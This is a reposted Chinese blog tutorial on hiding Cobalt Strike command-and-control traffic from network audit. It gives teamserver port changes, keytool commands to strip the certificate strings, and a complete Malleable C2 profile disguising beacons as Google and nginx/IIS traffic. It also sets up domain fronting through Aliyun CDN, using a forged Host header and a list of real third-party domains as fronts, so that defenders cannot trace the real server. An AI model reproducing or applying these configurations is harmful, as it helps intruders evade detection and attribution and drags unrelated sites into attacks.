|
原文链接:Cobalt Strike 绕过流量审计
Cobalt Strike简介
Cobalt Strike is software for Adversary Simulations and Red Team Operations. Cobalt Strike 简称CS, A-team详细介绍使用网址。CS是一款优秀的后渗透工具,可以在获取主机权限后进行长久权限维持,快速进行内网提权,凭据导出等。在后渗透中如果未修改特征,容易被流量审计设备监控,被蓝队溯源。 多人运动来不来?
去除特征的三种方式1.修改默认端口
第一种是直接编辑teamserver进行启动项修改。- ./teamserver 1.1.1.1 password 直接修改teamserver vim teamserver
第二种是启动的时候指定server_port端口
- java -XXarallelGCThreads=4 -Duser.language=en -Dcobaltstrike.server_port=50505 -Djavax.net.ssl.keyStore=./cobaltstrike.store -Djavax.net.ssl.keyStorePassword=123456 -server -XX:+AggressiveHeap -XX:+UseParallelGC -Xmx1024m -classpath ./cobaltstrike.jar server.TeamServer xxx.xxx.xx.xx test google.profile
2.去除证书特征
进入cs目录。
查看keytool -list -v -keystore cobaltstrike.store 证书情况,输入默认密码123456回车,可以看到所有者、发布者中Cobalt Strike相关字样。
keytool是一个Java 数据证书的管理工具,使用如下:keytool -keystore cobaltstrike.store -storepass 密码 -keypass 密码 -genkey -keyalg RSA -alias google.com -dname "CN=(名字与姓氏), OU=(组织单位名称), O=(组织名称), L=(城市或区域名称), ST=(州或省份名称), C=(单位的两字母国家代码)。
example: keytool -keystore cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias google.com -dname "CN=US, OU=google.com, O=Sofaware, L=Somewhere, ST=Cyberspace, C=CN"
未修改cobaltstrike.store前:
修改cobaltstrike.store后,可以看到cobalt strike等关键字样已经去除:
google.profile模版可以参考C2.profile(https://github.com/rsmudge/Malleable-C2-Profiles/tree/master/APT)和malleable-c2 (https://github.com/threatexpress ... uery-c2.4.0.profile)设置后,可以看到访问/image/后已经返回的是我们设置好的header 了 "Content-Type" "img/jpg"; "Server" "nginx/1.10.3 (Ubuntu)";
部分引用源码如下:
- #
- # cs profile
- # http://www.secureworks.com/cyber-threat-intelligence/threats/secrets-of-the-comfoo-masters/
- # https://github.com/rsmudge/Malleable-C2-Profiles/
- # Author: @keyi
- #
- set sample_name "google";
- set sleeptime "5000";
- set jitter "0";
- set maxdns "255";
- set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)";
- http-get {
- set uri "/image/";
- client {
- header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*l;q=0.8";
- header "Referer" "http://www.google.com";
- header "Pragma" "no-cache";
- header "Cache-Control" "no-cache";
- metadata {
- netbios;
- append "-.jpg";
- uri-append;
- }
- }
- server {
- header "Content-Type" "img/jpg";
- header "Server" "nginx/1.10.3 (Ubuntu)";
- output {
- base64;
- print;
- }
- }
- }
- http-post {
- set uri "/history/";
- client {
- header "Content-Type" "application/octet-stream";
- header "Referer" "http://www.google.com";
- header "Pragma" "no-cache";
- header "Cache-Control" "no-cache";
- id {
- netbiosu;
- append ".asp";
- uri-append;
- }
- output {
- base64;
- print;
- }
- }
- server {
- header "Content-Type" "img/jpg";
- header "Server" "Microsoft-IIS/6.0";
- header "X-Powered-By" "ASP.NET";
- output {
- base64;
- print;
- }
- }
- }
复制代码
3.修改Cobalt Strike dns_idle
0.0.0.0是Cobalt Strike DNS Beacon特征可设置Malleable C2进行修改 输入set dns_idle "8.8.8.8";
域前置原理
域前置(英语:Domain fronting),是一种隐藏连接真实端点来规避互联网审查的技术。在应用层上运作时,域前置使用户能通过HTTP连接到白名单域名(如*.google.cn),无直接与C2服务器的通信。介绍:被攻击机器 -> www.microport.com(走aliyun cdn的域名,根据设定的host头: dns.google.cn找到对应的vps_ip) -> cdn流量转发到vps_ip(c2真实地址)
实战配置CDN
购买云服务器,开通CDN服务。加速域名:随便填个高信誉的域名实现域名伪造,例如:oss.microsoft.com,dns.google.com之类的。
登陆aliyun。
在IP位置填写cs_teamserver的IP地址。
配置c2的Stager的域名为走cdn的地址,如:www.microport.com.cn
www.microport.com.cn这种是走aliyun cdn的。其中dns.google.cn是伪造的域名地址,目的是目标机器访问cdn的时候可以根据google.cn特征找到对应的vps_ip。有没人跟我有相同的疑问,这个走aliyun的cdn域名如何获取。这边波师傅给我提供了一些,可能域名作废或者不走cdn了,大家可以根据curl做一下测试。
admin.bjexpo.comadmin.cailianpress.comadmin.cheyian.comadmin.cydf.comadmin.ebp2p.comadmin.k3.cnadmin.ks5u.comadmin.kyjxy.comadmin.lezi.comadmin.weiba66.comadmin.wuzhenfestival.comadmin.xingfujie.cnadmin.yxp2p.comanxin360.comapi.3658mall.comapi.bjexpo.comapi.cheyian.comapi.cydf.comapi.ebp2p.comapi.ks5u.comapi.kyjxy.comapi.lanjinger.comapi.my089.comapi.thecover.cnapi.uiyi.cnapi.utcard.cnapi.weiba66.comapi.wuzhenfestival.comapi.xingfujie.cnapi.yxp2p.comapi.zaozuo.comapp.bjexpo.comapp.chanjet.comapp.cheyian.comapp.ebp2p.comapp.eeo.com.cnapp.gfedu.cnapp.guojimami.comapp.hao24.cnapp.hrmarket.netapp.k3.cnapp.kyjxy.comapp.lanjinger.comapp.lezi.comapp.meiduimall.comapp.sanqin.comapp.sanqin.com配置成功后,输入 curl -v "www.microport.com/een" -H "Host:dns.google.cn" 可以查看cs的weblog,看见请求/een的日志,证明配置成功。
cs生成Windows exe,运行成功上线.可以看到14.17.67.46 东莞IP上线。无直接跟c2连接的域名信息,这样来说蓝队在防守的时候看到的是白名单域名,并且也无法溯源到我们真实的vps地址。
作者:Keyi,转载于:https://paper.seebug.org/1349/
|
|